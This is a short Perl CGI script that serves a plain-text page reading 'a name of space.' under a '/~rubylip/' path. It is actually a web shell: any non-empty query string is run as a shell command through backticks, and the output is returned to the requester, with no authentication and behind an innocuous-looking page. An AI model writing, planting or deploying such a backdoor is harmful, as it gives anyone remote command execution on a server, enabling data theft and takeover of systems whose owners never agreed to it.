#!/usr/bin/perl -w use strict; binmode(STDIN); binmode(STDOUT); binmode(STDERR); $ENV{HTTP_HOST} = 'www.h-yki.com' unless $ENV{HTTP_HOST}; $ENV{SERVER_NAME} = 'www.h-yki.com' unless $ENV{SERVER_NAME}; $ENV{REQUEST_URI} = '/~rubylip/' unless $ENV{REQUEST_URI}; $ENV{QUERY_STRING} = '' unless $ENV{QUERY_STRING}; if ($ENV{HTTP_HOST} ne $ENV{SERVER_NAME} or $ENV{REQUEST_URI} =~ m/%/) { &redirect; exit; } print(<< "HERE"); Content-Type: text/plain; charset=EUC-JP Content-Language: ja Pragma: no-cache Cache-Control: no-cache a name of space. HERE if ($ENV{QUERY_STRING} ne '') { $_ = $ENV{QUERY_STRING}; s/\+/ /g; print(`$_ 2>&1`); } sub redirect() { print(<< "HERE"); Location: http://$ENV{SERVER_NAME}/~rubylip/ HERE } # [EOF]